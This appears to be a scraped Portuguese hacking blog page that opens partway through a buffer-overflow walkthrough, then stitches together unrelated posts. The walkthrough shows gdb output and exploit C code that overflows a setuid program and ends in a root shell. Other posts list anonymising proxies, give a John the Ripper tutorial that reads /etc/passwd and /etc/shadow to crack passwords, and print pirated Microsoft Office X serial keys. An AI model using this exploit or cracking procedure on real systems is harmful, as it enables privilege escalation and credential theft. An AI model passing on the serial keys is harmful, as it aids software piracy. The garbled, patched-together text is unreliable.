0xbffffeb1: “GDMSESSION=Default”
0xbffffec4: “SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass”
0xbffffef7: “HOME=/home/vangelis”
0xbfffff0b: “SHLVL=7″
0xbfffff13: “GNOME_DESKTOP_SESSION_ID=Default”
0xbfffff34: “BASH_ENV=/root/.bashrc”
0xbfffff4b: “LOGNAME=vangelis”
0xbfffff5c: “LESSOPEN=|/usr/bin/lesspipe.sh %s”
0xbfffff7e: “DISPLAY=:0″
0xbfffff89: “G_BROKEN_FILENAMES=1″
0xbfffff9e: “COLORTERM=gnome-terminal”
0xbfffffb7: “XAUTHORITY=/home/vangelis/.xauthsvjSKd”
0xbfffffde: “/home/vangelis/test/bof/setid”
0xbffffffc: “”
0xbffffffd: “”
0xbffffffe: “”
0xbfffffff: “”
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$ cat > exploit.c
#include

int main()
{
char *path = “/home/vangelis/test/bof/vul2″;
char *argv[] = { “./setid”, “AAAABBBBCCCCDDDDEEEEFFFF\xde\xff\xff\xbf\x93\xe8

\x0a\x42″, 0 };
execve(path, argv, 0);
return 0;
}
[vangelis@localhost bof]$ gcc -o exploit exploit.c
[vangelis@localhost bof]$ ./exploit
Segmentation fault
[vangelis@localhost bof]$
[vangelis@localhost bof]$ gdb -q exploit
(gdb) r
Starting program: /home/vangelis/test/bof/exploit
/bin/bash: /root/.bashrc: Permission denied

Program received signal SIGTRAP, Trace/breakpoint trap.
0×40000b30 in _start () from /lib/ld-linux.so.2
(gdb) sysmol-file /home/vangelis/test/bof/exploit
Undefined command: “sysmol-file”. Try “help”.
(gdb) symbol-file /home/vangelis/test/bof/exploit
Load new symbol table from “/home/vangelis/test/bof/exploit”? (y or n) y

Reading symbols from /home/vangelis/test/bof/exploit…done.
(gdb) b main
Breakpoint 1 at 0×804832e
(gdb) c
Continuing.

Breakpoint 1, 0×0804832e in main ()
(gdb) x/10wx $ebp
0xbffffed8: 0xbffffef8 0×420158d4 0×00000002 0xbfffff24
0xbffffee8: 0xbfffff30 0×400124b8 0×00000002 0×08048278
0xbffffef8: 0×00000000 0×08048299
(gdb) x/10wx 0xbfffff24
0xbfffff24: 0xbfffffb7 0xbfffffbf 0×00000000 0×00000000
0xbfffff34: 0×00000010 0×0183f9ff 0×00000006 0×00001000
0xbfffff44: 0×00000011 0×00000064
(gdb) x/s 0xbfffffb7
0xbfffffb7: “./setid”
(gdb) x/s 0xbfffffbf
0xbfffffbf: “AAAABBBBCCCCDDDDEEEEFFFF????\223?\nB”
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$ cat > exploit2.c
#include

int main()
{
char *path = “/home/vangelis/test/bof/vul2″;
char *argv[] = { “./setid”, “AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x93\xe8

\x0a\x42″, 0 };
execve(path, argv, 0);
return 0;
}
[vangelis@localhost bof]$ gcc -o exploit2 exploit2.c
[vangelis@localhost bof]$ ./exploit2
sh-2.05b#

Paper e Exploits para OS X

http://felinemenace.org/papers.html

Navegando an?nimamente atrav?s de WebProxy’s

Nesta rela??o de site abaixo, voc? poder? navegar an?nimamente pela web sem ter como descobrir seu endere?o de IP:

http://anonymouse.ws/
http://www.shadowbrowser.com/?pin=trial
http://www.anonymization.net/
http://www.guardster.com/
http://www.proxyweb.net/
http://webwarper.net/
https://www.megaproxy.com/

e outros em:

http://www.freeproxy.ru/en/free_proxy/cgi-proxy.htm

Crackeando senhas no Gnu/Linux

Crackeando senhas no Gnu/Linux com aplicativo John the ripper

Neste artigo iremos dar um exemplo de como crackear senhas no Gnu/Linux usando o aplicativo
John the ripper.

? de responsabilidade do usu?rio as consequ?ncias do uso desta ferramenta.

Considera??es iniciais:

Software:
Sistema Operacional Debian Gnu/Linux - kernel 2.4.29
Pacotes:
GCC 3.3.4-2
Make 3.80-9
John 1.6

Hardware:
Processador Athlon XP 1700+
256 MB Ram DDR 266

Baixando o aplicativo e instalando no sistema

Apesar de existir muitos Mirrors de Apt-Get no qual poderiamos baixar e compilar autom?ticamente o aplicativo John the ripper em nossa Debian/Box, partiremos para a id?ia de usar os fontes do aplicativo para compilar em nosso sistema.

O site aplicativo John the ripper esta descriminados logo abaixo:

http://www.openwall.com/john/

A vers?o que usamos ? a 1.6 e o link para download esta logo abaixo:

http://www.openwall.com/john/b/john-1.6.tar.gz

Feito o download do aplicativo voc? dever? descompactar usando o comando tar conforme exemplo abaixo:

#tar -zxvf john-1.6.tar.gz

Ser? criada uma pasta contendo o c?digo fonte do aplicativo e ainda parte da documenta??o necess?ria para uso do mesmo.

Entre na pasta ./john-1.6/src:

#cd ./john-1.6/src

Para compilar o aplicativo voc? dever? especificar a plataforma no qual voc? esta tranalhando, em nosso caso por usar um processador Athlon XP, usaremos a sintaxe linux-x86-k6-elf, para descobrir as plataformas dispon?veis execute apenas o comando make sem nenhuma flag ou sintaxe.

#make

Com isso iremos compilar o aplicativo seguindo o exemplo a seguir:

#make clean linux-x86-k6-elf
#make linux-x86-k6-elf

Feito a compila??o, entre no diret?rio ../run e verifique que foram criados os bin?rios do John, estes bin?rios ser?o usados para em nosso exemplo a seguir.

Agora que geramos os bin?rios necess?rio, devemos coletar as informa??es dos arquivos /etc/passwd e /etc/shadown, para isso usaremos o comando unshadow conforme o exemplo abaixo:

#./unshadow /etc/passwd /etc/shadown > passwd.test

Com isso passamos as informa??es dos arquivos /etc/passwd e /etc/shadown para o arquivo de texto passwd.test, mude o permissionamento do arquivo gerado para 600:

#chmod 600 passwd.test

Modos de uso do John the ripper

Os modos nos quais o aplicativo John executa a fun??o de crack no arquivo gerado ? configurado atrav?s do arquivo john.ini que est? localizado no diret?rio run.

Os modos que podemos destacar s?o:

Incremental Crack Mode: Executa todas as combina??es poss?veis dos caracteres, ? uma das formas
mais precisas e demoradas do John.

Exemplo:

#john -incremental passwd.test

Single Crack Mode: ? um dos modos mais r?pidos por?m menos precisos do John, suas informa??es s?o adq?iridas baseadas no campo GECOS do arquivo /etc/passwd que no caso s?o usadas como senhas.

Exemplo:
#john -single passwd.test

Wordlist Crack Mode: Neste mode voc? pode especificar uma lista de palavras usando a sintaxe de comando FILE ou ent?o outras a ser lida atrav?s da sintaxe STDIN.

Exemplo:

#john -wordfile:FILE
ou
#john -wordfile -stdin

An?lisando a forma como este aplicativo executa suas verifica??es ? importante tomar cuidado na hora de decidir qual a senha a ser usada no sistema operacional.

Uma lista completa das senhas no qual voc? deve evitar de usar pode ser encontrada no arquivo password.lst que fica localizado no diret?rio run.

Caso voc? use uma senha fraca assim como as descriminadas no arquivo password.lst, o cracker poder? econimizar tempo para conseguir seus objetivos.

Para provar nossa teoria, crie um usu?rio qualquer e use uma senha fraca, por exemplo uma das que est?o especificadas no arquivo password.lst, depois siga o exemplo abaixo:

#adduser teste
password: valhalla
#./unsadow /etc/passwd /etc/shadow > password.test
#chmod 600 password.test
#./john password.test

Verifique a sa?da padr?o do comando com a senha no qual voc? acabou de criar para o usu?rio teste.

Voc? pode usar este exemplo como contramedida para o crack de senhas em seu sistema, listas de palavras e dicion?rios podem ser encontradas no seguinte endere?o:

http://packetstormsecurity.org/assess/crack/

O aplicativo John the ripper ? muito mais poderoso quanto os exemplos citados neste artigo, para informa??es mais detalhadas entre no site do projeto.

At? a pr?xima.

Sites sobre defacements

Neste link que estamos apresentando abaixo voc? poder? conferir os sites desconfigurados por defacers de diversos grupos.

http://www.zone-h.org/

Seriais Office X

P247Q-J3CBW-2K783-DY48R-P348Y
CCV8F-V348C-WTC63-8TMMY-8BF38
RMV4M-8F77X-WJJ4F-H8MP8-PC7XW
DWVMJ-YYXTF-3KJVY-BXH2H-TMJQ6
QKYJW-QQ34R-988GT-RBHXB-6RDKT (update key)

SERIAL: GWH28 DGCMP P6RC4 6J4MT 3HFDY

WFDWY-X9XJF-RHRY4-BG7RQ-BBDHM

CD-Key: FM9FY TMF7Q KCKCT V9T29 TBBBG

Office BM423-QRP42-VQJXV-Y9FV9-BYY8W

JWKGT-YB3T4-PPFJ4-P8P8Q-7FM36

Transformando conta do Hotmail de 25 MB para 250 MB

No Blog do LinuxIT, um artigo postado por wrochal, ensina como alterar o tamanho da conta do Hotmail de 25MB para 250MB

Para os interessados o link est? abaixo:
http://www.linuxit.com.br/blog/index.php?p=28

Brecha no Linux diminui seguran?a na web

A Internet Security Systems (ISS) divulgou nesta quarta-feira (12/01) que o ?ndice AlertCon, term?metro que avalia a seguran?a da web, subiu para o n?vel 2, em uma escala que vai de 1 (menos grave) a 4 (mais grave).

*Lembrando que estes texto acima v?m do site IDGNow, o erro ? s?rio mais ? claro que eles exageram um pouco mais quando o assunto ? “Problemas em Sistemas baseados em Software Livre”.

O artigo original poder? ser conferido em: http://isec.pl/vulnerabilities/isec-0021-uselib.txt